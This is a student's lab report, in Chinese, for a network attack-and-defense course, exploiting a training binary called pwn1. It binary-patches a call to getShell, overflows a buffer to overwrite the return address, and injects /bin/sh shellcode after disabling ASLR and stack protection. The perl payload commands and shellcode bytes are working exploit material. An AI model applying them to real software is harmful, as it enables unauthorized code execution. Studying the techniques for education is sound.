20211913-冯馨茹-2021-2022-2 《网络攻防实践》第九次作业
一、实验内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。将使用两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
- 三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
二、实验步骤
1、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
下载目标文件pwn1,输入objdump -d pwn1 | more
对pwn1文件进行反汇编。
此时输入/getShell
可以快速锁定到getShell函数、foo函数和main函数。
可以看到main函数中
这句汇编指令:是要调用位于地址8048491处的foo函数call 8048491
这句指令对应的机器指令为e8 d7 ff ff ff
,其中:
e8
为call指令的机器指令,d7 ff ff ff
为call指令要跳转到的地址,此时eip寄存器中的值为下条指令的地址,即80484ba
call指令要跳转到的地址+eip寄存器中的值=call指令所调用的foo函数的地址,即d7 ff ff ff+80484ba=8048491
那么想让main函数调用getShell函数,只需将上述等式中foo函数的地址改为getShell函数的地址,call指令对应的机器指令应改为e8 c3 ff ff ff
。
下面修改可执行文件:首先在终端中输入命令cp pwn1 pwn2
语句对pwn1文件进行备份,然后输入vi pwn2
对pwn2文件进行修改,此时pwn2源文件显示如下:
按着Esc键同时输入:%!xxd
将源文件格式转化为16进制
输入/e8 d7
查找要修改的内容
然后分别输入rc
、r3
将d7
改为c3
输入:%!xxd -r
转换16进制为原格式,然后输入:wq
保存并退出vi
输入命令objdump -d pwn2 | more
,接着输入命令/getShell
快速锁定到getShell函数、foo函数和main函数
此时可以看到call函数调用的已经是getShell函数了
最后运行修改后的可执行文件
可知pwn1文件的功能是显示用户输入的内容,pwn2文件的功能是显示shell功能
2、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
输入objdump -d pwn1 | more
对pwn1文件进行反汇编,该文件正常运行是调用如下的foo函数,但这个函数有Buffer overflow漏洞
因为kali总是下载不了gdb,查了很久的资料也解决不了,直接重新下载了一个新的kali。。。
输入命令:
apt-get update
apt-get install gdb
安装gdb
输入gdb pwn1
对文件进行调试,输入r
运行程序
此时输入1111111122222222333333334444444412345678
(40字节),程序发生段错误
使用info r
命令查看寄存器的值,此时eip寄存器中的值为0x34333231
即1234对应的ASCII码
如果想让main函数调用getShell函数,只需将第33-36这四个字节改为 getShell 的内存地址。
确认用什么值覆盖返回地址
之前已经知道getShell的内存地址为0804847d,而且反汇编结果中,机器指令低字节在前、高字节在后,那么输入的字符串应该为
11111111222222223333333344444444\x7d\x84\x04\x08
构造输入字符串:
没法通过键盘输入\x7d\x84\x04\x08
这样的16进制值,输入命令perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
,使用输出重定向将perl生成的字符串存储到文件input中。然后输入命令xxd input
查看input文件的内容是否如预期。
输入命令(cat input; cat) | ./pwn1
,将input的输入,通过管道符“|”,作为pwn1的输入。
验证发现已经有getshell了。
3、注入一个自己制作的shellcode并运行这段shellcode。
先输入apt-get install execstack
安装execstack。
在管理员权限下,输入命令execstack -s pwn1
设置堆栈可执行,然后输入命令execstack -q pwn1
查询文件的堆栈是否可执行,输入命令more /proc/sys/kernel/randomize_va_space,
输入echo "0" > /proc/sys/kernel/randomize_va_space
关闭地址随机化,最后输入more /proc/sys/kernel/randomize_va_space
查询是否关闭地址随机化。
构造要注入的payload,输入命令
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
进行注入。
然后在该终端输入命令(cat input_shellcode;cat) | ./pwn1
注入这段攻击buf
然后再重新打开一个终端,输入命令ps -ef | grep pwn1
,可以看到pwn1的进程2176。
输入命令gdb pwn1
启动gdb
输入attach 2176
启动gdb调试这个进程
输入命令disassemble foo
进行反汇编,查看到ret的地址为0x080484ae
输入break *0x080484ae
在0x080484ae
处设置断点。在之前的终端中按下回车,然后在调试的终端中输入c
继续运行
输入info r esp
查看栈顶指针所在的位置,查找地址为查找地址为 x/16x 0xffffd5cc
输入x/16x 0xffffd5cc
命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,x/16x 0xffffd5cc+4=0xffffd5d0,所以地址应为0xffffd5d0。
将之前的\x4\x3\x2\x1改为这个地址0xffffd5d0即可,
在终端中输入quit
,退出gdb
用命令perl -e 'print "A" x 32;print "\xd0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
再输入命令(cat input_shellcode;cat) | ./pwn1
执行程序,攻击成功。
三、学习中遇到的问题及解决
问题一:在第三个实验中,在终端中输入Ctrl+z也无法退出
解决:在gdb中输入quit退出,在另一个终端就自然而然退出了
问题二:kali无法下载gdb
解决:重新下载了一个kali。。。
问题三:新kali中无法下载execstack
解决:同学传了一个execstack安装包,下载到kali中再执行命令sudo apt-get install ./execstack_0.0.20131005-1+b10_amd64.deb
后安装成功
四、实践总结
此次实验学习了如何注入运行任何Shellcode,实验内容偏多,耗时较久,做起来相对之前的要麻烦一点。